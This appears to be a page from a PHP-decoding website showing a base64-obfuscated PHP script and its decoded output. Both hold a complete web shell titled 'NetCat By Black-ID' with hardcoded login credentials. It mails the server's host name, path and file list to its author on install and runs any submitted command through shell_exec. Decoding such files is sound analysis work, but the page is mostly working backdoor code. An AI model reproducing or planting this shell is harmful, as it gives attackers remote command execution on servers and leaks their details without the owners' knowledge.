Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? eval(base64_decode(' aWYoKGlzc2V0KCR2KSBBTkQgJHY9PTApIE9SIChpc3NldCgkdCkg QU5EICR0PT1..

Decoded Output download

if((isset($v) AND $v==0) OR (isset($t) AND $t==false)){die('This script is protected by <a style=\"color:cyan\" href=\"http://www..com\"><b><font color=\"#330099\">coded  for protection</font></b></a>');}$result = "<pre>+------------------------------------------------------------+
";
$result .= "NetCat Host: http://".$_SERVER['HTTP_HOST']."
";
$result .= "Local Path: ".$_SERVER['SCRIPT_FILENAME']."
";
$result .= "+------------------------------------------------------------+
";
$result .= "File List:
$thelist";
$result .= "+------------------------------------------------------------+
</pre>";
@mail('','NetCat Installed.',$result,'From: netcat<.com>');
 
error_reporting(0); 
session_start(); 
 
unset($user);    // Just in case ;-] 
unset($pass); 
 
if ($_POST['cmd']) $_POST['cmd'] = my_encode($_POST['cmd']); 
 
$cache_lines = 1000; 
$history_lines = 100;    
$history_chars = 20;                            
 
$user[] = "Black-ID"; $pass[] = md5("Black-ID");
$user[] = "Black-ID"; $pass[] = md5("Black-ID");
$alias = array( 
    "la"    => "ls -la", 
    "rf"    => "rm -f", 
    "unbz2" => "tar -xjpf", 
    "ungz"  => "tar -xzpf" 
); 
 
 
 
if (!$_SESSION['user']) { 
 
    $pr_login = "Login:
"; 
    $pr_pass = "Password:
"; 
    $err = "Login Error!

"; 
    $succ = "Good login welcome !!!==Black-ID 

"; 
 
    if ($_SESSION['login'] && $_POST['cmd']) { // WE HAVE USERNAME & PASSWORD 
 
        $_SESSION['output'] .= $pr_pass; 
 
        if (in_array($_SESSION['login'], $user)) { //........ USERNAME EXISTS 
 
            $key = array_search($_SESSION['login'], $user); 
 
            if ($pass[$key] != md5($_POST['cmd'])) { //....... WRONG PASSWORD 
                $_SESSION['output'] .= $err; 
                unset($_SESSION['login']); 
                $prompt = $pr_login; 
 
            } else { //..................................... SUCCESSFUL LOGIN 
                $_SESSION['user'] = $_SESSION['login']; 
                $_SESSION['whoami'] = substr(shell_exec("whoami"), 0, -1); 
                $_SESSION['host'] = substr(shell_exec("uname -n"), 0, -1); 
                $_SESSION['dir'] = substr(shell_exec("pwd"), 0, -1); 
                $_SESSION['output'] .= $succ; 
                $prompt = set_prompt(); 
                unset($_SESSION['login']); 
            } 
 
        } else { //......................................... NO SUCH USERNAME 
            $_SESSION['output'] .= $err; 
            unset($_SESSION['login']); 
            $prompt = $pr_login; 
        } 
 
    } else { //................................................ LOGIN PROCESS 
 
        if (!$_SESSION['login'] && !$_POST['cmd']) $prompt = $pr_login; 
 
        if (!$_SESSION['login'] && $_POST['cmd']) { 
            $_SESSION['login'] = $_POST['cmd']; 
            $_SESSION['output'] .= substr($pr_login, 0, -1) . " $_POST[cmd]
"; 
            $prompt = $pr_pass; 
        } 
    } 
 
} else { //........................................................ LOGGED IN 
 
 
 
                            /*=-- MEMBERS AREA --=*\ 
                            \*=-- MEMBERS AREA --=*/ 
 
 
    $prompt = set_prompt(); 
 
    chdir($_SESSION['dir']); 
 
    if ($_REQUEST['clear_hist']) //............................ CLEAR HISTORY 
        $_SESSION['history'] = ""; 
 
    if ($_SESSION['history']) $hist_arr = explode("
", $_SESSION['history']); 
 
    if ($_POST['cmd']) { 
 
        if (!in_array($_POST['cmd'], $hist_arr)) { //......... ADD TO HISTORY 
            $hist_arr[] = $_POST['cmd']; 
            $_SESSION['history'] = implode("
", $hist_arr); 
        } 
 
        if (count($hist_arr) > $history_lines) { //........... CUTOFF HISTORY 
            $start = count($hist_arr) - $history_lines; 
            $_SESSION['history'] = ""; 
 
            for ($i = $start; $i < count($hist_arr); $i++) 
                $_SESSION['history'] .= $hist_arr[$i] . "
"; 
 
            $_SESSION['history'] = substr($_SESSION['history'], 0, -1); 
            $hist_arr = explode("
", $_SESSION['history']); 
        } 
 
        $first_word = first_word($_POST['cmd']); 
 
        if (array_key_exists($first_word, $alias)) { //. CHECKING FOR ALIASES 
            $_POST['cmd'] = $alias[$first_word] . substr($_POST['cmd'], strlen($first_word)); 
            $first_word = first_word($_POST['cmd']); 
        } 
 
        switch ($first_word) { 
 
          case "clear": 
            $_SESSION['output'] = ""; 
            break; 
 
          case "exit": 
            session_destroy(); 
            refresh(); 
            break; 
 
          case "cd": 
            $_SESSION['output'] .= $prompt; 
            $result = shell_exec($_POST['cmd'] . " 2>&1 ; pwd"); 
            $result = explode("
", $result); 
            $_SESSION['dir'] = $result[count($result) - 2]; 
 
            if (count($result) > 2) //.............. WE HAVE AN ERROR MESSAGE 
                $result[0] = "
" . substr($result[0], strpos($result[0], "cd: ")) . "
"; 
            else $result[0] = "
"; 
 
            $prompt = set_prompt(); 
            $_SESSION['output'] .= $_POST['cmd'] . $result[0]; 
            break; 
 
          default: 
            $result = shell_exec($_POST['cmd'] . " 2>&1"); 
 
            if (substr($result, -1) != "
") $result .= "
"; 
            $_SESSION['output'] .= $prompt . $_POST['cmd'] . "
" . $result; 
 
            $rows = preg_match_all('/
/', $_SESSION['output'], $arr); 
            unset($arr); 
 
            if ($rows > $cache_lines) { 
                preg_match('/(
[^
]*){' . $cache_lines . '}$/', $_SESSION['output'], $out); 
                $_SESSION['output'] = $out[0] . "
"; 
            } 
        } 
    } 
} 
 
 
 
                             /*=-- FUNCTIONS --=*\ 
                             \*=-- FUNCTIONS --=*/ 
 
 
function my_encode($str) { 
    $str = str_replace("\", "\", $str); 
    $str = str_replace("\"", "\"", $str); 
    $str = str_replace("\'", "'", $str); 
 
    while (strpos($str, "  ") !== false) $str = str_replace("  ", " ", $str); 
 
    return rtrim(ltrim($str)); 
} 
 
function set_prompt() { 
    global $_SESSION; 
 
    return $_SESSION['whoami'] . "@" . $_SESSION['host'] . " " . substr($_SESSION['dir'], strrpos($_SESSION['dir'], "/") + 1) . " $ "; 
} 
 
function first_word($str) { 
    list($str) = preg_split('/[ ;]/', $str); 
    return $str; 
} 
 
function refresh() { 
    global $_SERVER; 
 
    $self = substr($_SERVER['SCRIPT_NAME'], strrpos($_SERVER['SCRIPT_NAME'], "/") + 1); 
    header("Location: $self"); 
    die; 
} 
 
 
 
                             /*=-- HTML PAGE --=*\ 
                             \*=-- HTML PAGE --=*/ 
 
 
$out = substr(preg_replace('/<\/(textarea)/i', '&lt;/', $_SESSION['output']), 0, -1); 
 
?><HTML> 
<HEAD> 
 
  <TITLE>NetCat By Black-ID</TITLE> 
  <STYLE TYPE="text/css"><!-- 
 
    INPUT, TEXTAREA, SELECT, OPTION, TD { 
        color: #BBBBBB; 
        background-color: #000000; 
        font-family: Terminus, Fixedsys, Fixed, Terminal, Courier New, Courier; 
    } 
 
    TEXTAREA { 
        overflow-y: auto; 
        border-width: 0px; 
        height: 100%; 
        width: 100%; 
        padding: 0px; 
    } 
 
    INPUT { 
        border-width: 0px; 
        height: 26px; 
        width: 100%; 
        padding-top: 5px; 
    } 
 
    SELECT, OPTION { 
        color: #000000; 
        background-color: #BBBBBB; 
    } 
 
    BODY { 
        overflow-y: auto; 
        margin: 0; 
    } 
 
  --></STYLE> 
  <SCRIPT LANGUAGE="JavaScript"><!-- 
 
hist_arr = new Array(); 
 
<?php 
 
foreach ($hist_arr as $key => $value) { 
    $value = str_replace("\", "\", $value); 
    $value = str_replace("\"", "\"", $value); 
    echo "hist_arr[$key] = \"$value\";
"; 
} 
 
?> 
 
function parse_hist(key) { 
    if (key < hist_arr.length) { 
        if (key != "") { 
            document.getElementById('input').value = hist_arr[key]; 
            document.getElementById('input').focus(); 
        } 
    } else { 
        window.location.href = "?clear_hist=1"; 
    } 
} 
 
function input_focus() { 
    document.getElementById('input').focus(); 
} 
 
function selection_to_clipboard() { // IE only! 
    if (window.clipboardData && document.selection) 
        window.clipboardData.setData("Text", document.selection.createRange().text); 
} 
 
if (window.clipboardData) 
    document.oncontextmenu = new Function("document.getElementById('input').value = window.clipboardData.getData('Text'); input_focus(); return false"); 
 
  --></SCRIPT> 
</HEAD> 
<BODY onLoad="document.getElementById('output').scrollTop = document.getElementById('output').scrollHeight; input_focus()" TOPMARGIN="0" LEFTMARGIN="0"> 
<TABLE CELLPADDING="0" CELLSPACING="0" BORDER="0" HEIGHT="100%" WIDTH="100%"> 
<TR> 
  <TD HEIGHT="100%" BGCOLOR="#000000" STYLE="padding-top: 5px; padding-left: 5px; padding-right: 5px; padding-bottom: 0px"><TEXTAREA ID="output" onSelect="selection_to_clipboard()" onClick="input_focus()" READONLY><?= $out ?></TEXTAREA></TD> 
</TR> 
 
<TR> 
  <TD BGCOLOR="#000000"><TABLE CELLPADDING="0" CELLSPACING="5" BORDER="0" WIDTH="100%"> 
    <TR> 
    <FORM METHOD="POST" ACTION=""> 
      <TD NOWRAP onClick="input_focus()"><?= substr($prompt, 0, -1) ?></TD> 
      <TD WIDTH="100%"><INPUT ID="input" TYPE="<?= (!$_SESSION['user'] && $_SESSION['login']) ? 'PASSWORD' : 'TEXT' ?>" NAME="cmd"></TD> 
    </FORM><?php 
 
if ($hist_arr) { 
 
    ?><TD NOWRAP><SELECT onChange="parse_hist(this.options[this.selectedIndex].value)"> 
        <OPTION VALUE="">--- HISTORY</OPTION><?php 
 
    for ($i = count($hist_arr) - 1; $i >= 0; $i--) { 
 
        if (strlen($hist_arr[$i]) > $history_chars) $option = substr($hist_arr[$i], 0, $history_chars - 3) . "..."; 
        else $option = $hist_arr[$i]; 
 
        echo "<OPTION VALUE=\"" . $i . "\">$option</OPTION>"; 
    } 
 
      ?><OPTION VALUE="<?= $history_lines + 1 ?>">--- CLEAR HISTORY</OPTION></SELECT></TD><?php 
 
} 
 
  ?></TR> 
 
  </TABLE></TD> 
</TR> 
</TABLE> 
 
<SCRIPT LANGUAGE="JavaScript"><!-- 
document.getElementById('output').scrollTop = document.getElementById('output').scrollHeight; 
--></SCRIPT>

Did this file decode correctly?

Original Code

<? eval(base64_decode('
aWYoKGlzc2V0KCR2KSBBTkQgJHY9PTApIE9SIChpc3NldCgkdCkg
QU5EICR0PT1mYWxzZSkpe2RpZSgnVGhpcyBzY3JpcHQgaXMgcHJvdGVjdGVkIGJ5IDxh
IHN0eWxlPVwiY29sb3I6Y3lhblwiIGhyZWY9XCJodHRwOi8vd3d3Li5jb21cIj48Yj48
Zm9udCBjb2xvcj1cIiMzMzAwOTlcIj5jb2RlZCAgZm9yIHByb3RlY3Rpb248L2ZvbnQ+
PC9iPjwvYT4nKTt9JHJlc3VsdCA9ICI8cHJlPistLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rXG4iOw0KJHJlc3Vs
dCAuPSAiTmV0Q2F0IEhvc3Q6IGh0dHA6Ly8iLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4i
XG4iOw0KJHJlc3VsdCAuPSAiTG9jYWwgUGF0aDogIi4kX1NFUlZFUlsnU0NSSVBUX0ZJ
TEVOQU1FJ10uIlxuIjsNCiRyZXN1bHQgLj0gIistLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0rXG4iOw0KJHJlc3Vs
dCAuPSAiRmlsZSBMaXN0OlxuJHRoZWxpc3QiOw0KJHJlc3VsdCAuPSAiKy0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LStcbjwvcHJlPiI7DQpAbWFpbCgnJywnTmV0Q2F0IEluc3RhbGxlZC4nLCRyZXN1bHQs
J0Zyb206IG5ldGNhdDwuY29tPicpOw0KIA0KZXJyb3JfcmVwb3J0aW5nKDApOyANCnNl
c3Npb25fc3RhcnQoKTsgDQogDQp1bnNldCgkdXNlcik7ICAgIC8vIEp1c3QgaW4gY2Fz
ZSA7LV0gDQp1bnNldCgkcGFzcyk7IA0KIA0KaWYgKCRfUE9TVFsnY21kJ10pICRfUE9T
VFsnY21kJ10gPSBteV9lbmNvZGUoJF9QT1NUWydjbWQnXSk7IA0KIA0KJGNhY2hlX2xp
bmVzID0gMTAwMDsgDQokaGlzdG9yeV9saW5lcyA9IDEwMDsgICAgDQokaGlzdG9yeV9j
aGFycyA9IDIwOyAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiANCiR1c2VyW10g
PSAiQmxhY2stSUQiOyAkcGFzc1tdID0gbWQ1KCJCbGFjay1JRCIpOw0KJHVzZXJbXSA9
ICJCbGFjay1JRCI7ICRwYXNzW10gPSBtZDUoIkJsYWNrLUlEIik7DQokYWxpYXMgPSBh
cnJheSggDQogICAgImxhIiAgICA9PiAibHMgLWxhIiwgDQogICAgInJmIiAgICA9PiAi
cm0gLWYiLCANCiAgICAidW5iejIiID0+ICJ0YXIgLXhqcGYiLCANCiAgICAidW5neiIg
ID0+ICJ0YXIgLXh6cGYiIA0KKTsgDQogDQogDQogDQppZiAoISRfU0VTU0lPTlsndXNl
ciddKSB7IA0KIA0KICAgICRwcl9sb2dpbiA9ICJMb2dpbjpcbiI7IA0KICAgICRwcl9w
YXNzID0gIlBhc3N3b3JkOlxuIjsgDQogICAgJGVyciA9ICJMb2dpbiBFcnJvciFcblxu
IjsgDQogICAgJHN1Y2MgPSAiR29vZCBsb2dpbiB3ZWxjb21lICEhIT09QmxhY2stSUQg
XG5cbiI7IA0KIA0KICAgIGlmICgkX1NFU1NJT05bJ2xvZ2luJ10gJiYgJF9QT1NUWydj
bWQnXSkgeyAvLyBXRSBIQVZFIFVTRVJOQU1FICYgUEFTU1dPUkQgDQogDQogICAgICAg
ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gJHByX3Bhc3M7IA0KIA0KICAgICAgICBpZiAo
aW5fYXJyYXkoJF9TRVNTSU9OWydsb2dpbiddLCAkdXNlcikpIHsgLy8uLi4uLi4uLiBV
U0VSTkFNRSBFWElTVFMgDQogDQogICAgICAgICAgICAka2V5ID0gYXJyYXlfc2VhcmNo
KCRfU0VTU0lPTlsnbG9naW4nXSwgJHVzZXIpOyANCiANCiAgICAgICAgICAgIGlmICgk
cGFzc1ska2V5XSAhPSBtZDUoJF9QT1NUWydjbWQnXSkpIHsgLy8uLi4uLi4uIFdST05H
IFBBU1NXT1JEIA0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnb3V0cHV0J10gLj0g
JGVycjsgDQogICAgICAgICAgICAgICAgdW5zZXQoJF9TRVNTSU9OWydsb2dpbiddKTsg
DQogICAgICAgICAgICAgICAgJHByb21wdCA9ICRwcl9sb2dpbjsgDQogDQogICAgICAg
ICAgICB9IGVsc2UgeyAvLy4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4gU1VDQ0VTU0ZVTCBMT0dJTiANCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ3Vz
ZXInXSA9ICRfU0VTU0lPTlsnbG9naW4nXTsgDQogICAgICAgICAgICAgICAgJF9TRVNT
SU9OWyd3aG9hbWknXSA9IHN1YnN0cihzaGVsbF9leGVjKCJ3aG9hbWkiKSwgMCwgLTEp
OyANCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2hvc3QnXSA9IHN1YnN0cihzaGVs
bF9leGVjKCJ1bmFtZSAtbiIpLCAwLCAtMSk7IA0KICAgICAgICAgICAgICAgICRfU0VT
U0lPTlsnZGlyJ10gPSBzdWJzdHIoc2hlbGxfZXhlYygicHdkIiksIDAsIC0xKTsgDQog
ICAgICAgICAgICAgICAgJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAkc3VjYzsgDQogICAg
ICAgICAgICAgICAgJHByb21wdCA9IHNldF9wcm9tcHQoKTsgDQogICAgICAgICAgICAg
ICAgdW5zZXQoJF9TRVNTSU9OWydsb2dpbiddKTsgDQogICAgICAgICAgICB9IA0KIA0K
ICAgICAgICB9IGVsc2UgeyAvLy4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4uIE5PIFNVQ0ggVVNFUk5BTUUgDQogICAgICAgICAgICAkX1NFU1NJT05b
J291dHB1dCddIC49ICRlcnI7IA0KICAgICAgICAgICAgdW5zZXQoJF9TRVNTSU9OWyds
b2dpbiddKTsgDQogICAgICAgICAgICAkcHJvbXB0ID0gJHByX2xvZ2luOyANCiAgICAg
ICAgfSANCiANCiAgICB9IGVsc2UgeyAvLy4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4uLi4uLi4uLi4uLi4uLiBMT0dJTiBQUk9DRVNTIA0KIA0KICAgICAgICBp
ZiAoISRfU0VTU0lPTlsnbG9naW4nXSAmJiAhJF9QT1NUWydjbWQnXSkgJHByb21wdCA9
ICRwcl9sb2dpbjsgDQogDQogICAgICAgIGlmICghJF9TRVNTSU9OWydsb2dpbiddICYm
ICRfUE9TVFsnY21kJ10pIHsgDQogICAgICAgICAgICAkX1NFU1NJT05bJ2xvZ2luJ10g
PSAkX1BPU1RbJ2NtZCddOyANCiAgICAgICAgICAgICRfU0VTU0lPTlsnb3V0cHV0J10g
Lj0gc3Vic3RyKCRwcl9sb2dpbiwgMCwgLTEpIC4gIiAkX1BPU1RbY21kXVxuIjsgDQog
ICAgICAgICAgICAkcHJvbXB0ID0gJHByX3Bhc3M7IA0KICAgICAgICB9IA0KICAgIH0g
DQogDQp9IGVsc2UgeyAvLy4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4uLi4uLi4uLi4uLi4uIExPR0dFRCBJTiANCiANCiANCiANCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAvKj0tLSBNRU1CRVJTIEFSRUEgLS09KlwgDQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgXCo9LS0gTUVNQkVSUyBBUkVBIC0tPSovIA0K
IA0KIA0KICAgICRwcm9tcHQgPSBzZXRfcHJvbXB0KCk7IA0KIA0KICAgIGNoZGlyKCRf
U0VTU0lPTlsnZGlyJ10pOyANCiANCiAgICBpZiAoJF9SRVFVRVNUWydjbGVhcl9oaXN0
J10pIC8vLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLiBDTEVBUiBISVNUT1JZIA0K
ICAgICAgICAkX1NFU1NJT05bJ2hpc3RvcnknXSA9ICIiOyANCiANCiAgICBpZiAoJF9T
RVNTSU9OWydoaXN0b3J5J10pICRoaXN0X2FyciA9IGV4cGxvZGUoIlxuIiwgJF9TRVNT
SU9OWydoaXN0b3J5J10pOyANCiANCiAgICBpZiAoJF9QT1NUWydjbWQnXSkgeyANCiAN
CiAgICAgICAgaWYgKCFpbl9hcnJheSgkX1BPU1RbJ2NtZCddLCAkaGlzdF9hcnIpKSB7
IC8vLi4uLi4uLi4uIEFERCBUTyBISVNUT1JZIA0KICAgICAgICAgICAgJGhpc3RfYXJy
W10gPSAkX1BPU1RbJ2NtZCddOyANCiAgICAgICAgICAgICRfU0VTU0lPTlsnaGlzdG9y
eSddID0gaW1wbG9kZSgiXG4iLCAkaGlzdF9hcnIpOyANCiAgICAgICAgfSANCiANCiAg
ICAgICAgaWYgKGNvdW50KCRoaXN0X2FycikgPiAkaGlzdG9yeV9saW5lcykgeyAvLy4u
Li4uLi4uLi4uIENVVE9GRiBISVNUT1JZIA0KICAgICAgICAgICAgJHN0YXJ0ID0gY291
bnQoJGhpc3RfYXJyKSAtICRoaXN0b3J5X2xpbmVzOyANCiAgICAgICAgICAgICRfU0VT
U0lPTlsnaGlzdG9yeSddID0gIiI7IA0KIA0KICAgICAgICAgICAgZm9yICgkaSA9ICRz
dGFydDsgJGkgPCBjb3VudCgkaGlzdF9hcnIpOyAkaSsrKSANCiAgICAgICAgICAgICAg
ICAkX1NFU1NJT05bJ2hpc3RvcnknXSAuPSAkaGlzdF9hcnJbJGldIC4gIlxuIjsgDQog
DQogICAgICAgICAgICAkX1NFU1NJT05bJ2hpc3RvcnknXSA9IHN1YnN0cigkX1NFU1NJ
T05bJ2hpc3RvcnknXSwgMCwgLTEpOyANCiAgICAgICAgICAgICRoaXN0X2FyciA9IGV4
cGxvZGUoIlxuIiwgJF9TRVNTSU9OWydoaXN0b3J5J10pOyANCiAgICAgICAgfSANCiAN
CiAgICAgICAgJGZpcnN0X3dvcmQgPSBmaXJzdF93b3JkKCRfUE9TVFsnY21kJ10pOyAN
CiANCiAgICAgICAgaWYgKGFycmF5X2tleV9leGlzdHMoJGZpcnN0X3dvcmQsICRhbGlh
cykpIHsgLy8uIENIRUNLSU5HIEZPUiBBTElBU0VTIA0KICAgICAgICAgICAgJF9QT1NU
WydjbWQnXSA9ICRhbGlhc1skZmlyc3Rfd29yZF0gLiBzdWJzdHIoJF9QT1NUWydjbWQn
XSwgc3RybGVuKCRmaXJzdF93b3JkKSk7IA0KICAgICAgICAgICAgJGZpcnN0X3dvcmQg
PSBmaXJzdF93b3JkKCRfUE9TVFsnY21kJ10pOyANCiAgICAgICAgfSANCiANCiAgICAg
ICAgc3dpdGNoICgkZmlyc3Rfd29yZCkgeyANCiANCiAgICAgICAgICBjYXNlICJjbGVh
ciI6IA0KICAgICAgICAgICAgJF9TRVNTSU9OWydvdXRwdXQnXSA9ICIiOyANCiAgICAg
ICAgICAgIGJyZWFrOyANCiANCiAgICAgICAgICBjYXNlICJleGl0IjogDQogICAgICAg
ICAgICBzZXNzaW9uX2Rlc3Ryb3koKTsgDQogICAgICAgICAgICByZWZyZXNoKCk7IA0K
ICAgICAgICAgICAgYnJlYWs7IA0KIA0KICAgICAgICAgIGNhc2UgImNkIjogDQogICAg
ICAgICAgICAkX1NFU1NJT05bJ291dHB1dCddIC49ICRwcm9tcHQ7IA0KICAgICAgICAg
ICAgJHJlc3VsdCA9IHNoZWxsX2V4ZWMoJF9QT1NUWydjbWQnXSAuICIgMj4mMSA7IHB3
ZCIpOyANCiAgICAgICAgICAgICRyZXN1bHQgPSBleHBsb2RlKCJcbiIsICRyZXN1bHQp
OyANCiAgICAgICAgICAgICRfU0VTU0lPTlsnZGlyJ10gPSAkcmVzdWx0W2NvdW50KCRy
ZXN1bHQpIC0gMl07IA0KIA0KICAgICAgICAgICAgaWYgKGNvdW50KCRyZXN1bHQpID4g
MikgLy8uLi4uLi4uLi4uLi4uLiBXRSBIQVZFIEFOIEVSUk9SIE1FU1NBR0UgDQogICAg
ICAgICAgICAgICAgJHJlc3VsdFswXSA9ICJcbiIgLiBzdWJzdHIoJHJlc3VsdFswXSwg
c3RycG9zKCRyZXN1bHRbMF0sICJjZDogIikpIC4gIlxuIjsgDQogICAgICAgICAgICBl
bHNlICRyZXN1bHRbMF0gPSAiXG4iOyANCiANCiAgICAgICAgICAgICRwcm9tcHQgPSBz
ZXRfcHJvbXB0KCk7IA0KICAgICAgICAgICAgJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAk
X1BPU1RbJ2NtZCddIC4gJHJlc3VsdFswXTsgDQogICAgICAgICAgICBicmVhazsgDQog
DQogICAgICAgICAgZGVmYXVsdDogDQogICAgICAgICAgICAkcmVzdWx0ID0gc2hlbGxf
ZXhlYygkX1BPU1RbJ2NtZCddIC4gIiAyPiYxIik7IA0KIA0KICAgICAgICAgICAgaWYg
KHN1YnN0cigkcmVzdWx0LCAtMSkgIT0gIlxuIikgJHJlc3VsdCAuPSAiXG4iOyANCiAg
ICAgICAgICAgICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gJHByb21wdCAuICRfUE9TVFsn
Y21kJ10gLiAiXG4iIC4gJHJlc3VsdDsgDQogDQogICAgICAgICAgICAkcm93cyA9IHBy
ZWdfbWF0Y2hfYWxsKCcvXG4vJywgJF9TRVNTSU9OWydvdXRwdXQnXSwgJGFycik7IA0K
ICAgICAgICAgICAgdW5zZXQoJGFycik7IA0KIA0KICAgICAgICAgICAgaWYgKCRyb3dz
ID4gJGNhY2hlX2xpbmVzKSB7IA0KICAgICAgICAgICAgICAgIHByZWdfbWF0Y2goJy8o
XG5bXlxuXSopeycgLiAkY2FjaGVfbGluZXMgLiAnfSQvJywgJF9TRVNTSU9OWydvdXRw
dXQnXSwgJG91dCk7IA0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnb3V0cHV0J10g
PSAkb3V0WzBdIC4gIlxuIjsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAg
IH0gDQp9IA0KIA0KIA0KIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKj0t
LSBGVU5DVElPTlMgLS09KlwgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwq
PS0tIEZVTkNUSU9OUyAtLT0qLyANCiANCiANCmZ1bmN0aW9uIG15X2VuY29kZSgkc3Ry
KSB7IA0KICAgICRzdHIgPSBzdHJfcmVwbGFjZSgiXFxcXCIsICJcXCIsICRzdHIpOyAN
CiAgICAkc3RyID0gc3RyX3JlcGxhY2UoIlxcXCIiLCAiXCIiLCAkc3RyKTsgDQogICAg
JHN0ciA9IHN0cl9yZXBsYWNlKCJcXCciLCAiJyIsICRzdHIpOyANCiANCiAgICB3aGls
ZSAoc3RycG9zKCRzdHIsICIgICIpICE9PSBmYWxzZSkgJHN0ciA9IHN0cl9yZXBsYWNl
KCIgICIsICIgIiwgJHN0cik7IA0KIA0KICAgIHJldHVybiBydHJpbShsdHJpbSgkc3Ry
KSk7IA0KfSANCiANCmZ1bmN0aW9uIHNldF9wcm9tcHQoKSB7IA0KICAgIGdsb2JhbCAk
X1NFU1NJT047IA0KIA0KICAgIHJldHVybiAkX1NFU1NJT05bJ3dob2FtaSddIC4gIkAi
IC4gJF9TRVNTSU9OWydob3N0J10gLiAiICIgLiBzdWJzdHIoJF9TRVNTSU9OWydkaXIn
XSwgc3RycnBvcygkX1NFU1NJT05bJ2RpciddLCAiLyIpICsgMSkgLiAiICQgIjsgDQp9
IA0KIA0KZnVuY3Rpb24gZmlyc3Rfd29yZCgkc3RyKSB7IA0KICAgIGxpc3QoJHN0cikg
PSBwcmVnX3NwbGl0KCcvWyA7XS8nLCAkc3RyKTsgDQogICAgcmV0dXJuICRzdHI7IA0K
fSANCiANCmZ1bmN0aW9uIHJlZnJlc2goKSB7IA0KICAgIGdsb2JhbCAkX1NFUlZFUjsg
DQogDQogICAgJHNlbGYgPSBzdWJzdHIoJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10sIHN0
cnJwb3MoJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10sICIvIikgKyAxKTsgDQogICAgaGVh
ZGVyKCJMb2NhdGlvbjogJHNlbGYiKTsgDQogICAgZGllOyANCn0gDQogDQogDQogDQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8qPS0tIEhUTUwgUEFHRSAtLT0qXCAN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCo9LS0gSFRNTCBQQUdFIC0tPSov
IA0KIA0KIA0KJG91dCA9IHN1YnN0cihwcmVnX3JlcGxhY2UoJy88XC8odGV4dGFyZWEp
L2knLCAnJmx0Oy9cMScsICRfU0VTU0lPTlsnb3V0cHV0J10pLCAwLCAtMSk7IA0KIA0K
Pz48SFRNTD4gDQo8SEVBRD4gDQogDQogIDxUSVRMRT5OZXRDYXQgQnkgQmxhY2stSUQ8
L1RJVExFPiANCiAgPFNUWUxFIFRZUEU9InRleHQvY3NzIj48IS0tIA0KIA0KICAgIElO
UFVULCBURVhUQVJFQSwgU0VMRUNULCBPUFRJT04sIFREIHsgDQogICAgICAgIGNvbG9y
OiAjQkJCQkJCOyANCiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgDQog
ICAgICAgIGZvbnQtZmFtaWx5OiBUZXJtaW51cywgRml4ZWRzeXMsIEZpeGVkLCBUZXJt
aW5hbCwgQ291cmllciBOZXcsIENvdXJpZXI7IA0KICAgIH0gDQogDQogICAgVEVYVEFS
RUEgeyANCiAgICAgICAgb3ZlcmZsb3cteTogYXV0bzsgDQogICAgICAgIGJvcmRlci13
aWR0aDogMHB4OyANCiAgICAgICAgaGVpZ2h0OiAxMDAlOyANCiAgICAgICAgd2lkdGg6
IDEwMCU7IA0KICAgICAgICBwYWRkaW5nOiAwcHg7IA0KICAgIH0gDQogDQogICAgSU5Q
VVQgeyANCiAgICAgICAgYm9yZGVyLXdpZHRoOiAwcHg7IA0KICAgICAgICBoZWlnaHQ6
IDI2cHg7IA0KICAgICAgICB3aWR0aDogMTAwJTsgDQogICAgICAgIHBhZGRpbmctdG9w
OiA1cHg7IA0KICAgIH0gDQogDQogICAgU0VMRUNULCBPUFRJT04geyANCiAgICAgICAg
Y29sb3I6ICMwMDAwMDA7IA0KICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjQkJCQkJC
OyANCiAgICB9IA0KIA0KICAgIEJPRFkgeyANCiAgICAgICAgb3ZlcmZsb3cteTogYXV0
bzsgDQogICAgICAgIG1hcmdpbjogMDsgDQogICAgfSANCiANCiAgLS0+PC9TVFlMRT4g
DQogIDxTQ1JJUFQgTEFOR1VBR0U9IkphdmFTY3JpcHQiPjwhLS0gDQogDQpoaXN0X2Fy
ciA9IG5ldyBBcnJheSgpOyANCiANCjw/cGhwIA0KIA0KZm9yZWFjaCAoJGhpc3RfYXJy
IGFzICRrZXkgPT4gJHZhbHVlKSB7IA0KICAgICR2YWx1ZSA9IHN0cl9yZXBsYWNlKCJc
XCIsICJcXFxcIiwgJHZhbHVlKTsgDQogICAgJHZhbHVlID0gc3RyX3JlcGxhY2UoIlwi
IiwgIlxcXCIiLCAkdmFsdWUpOyANCiAgICBlY2hvICJoaXN0X2Fyclska2V5XSA9IFwi
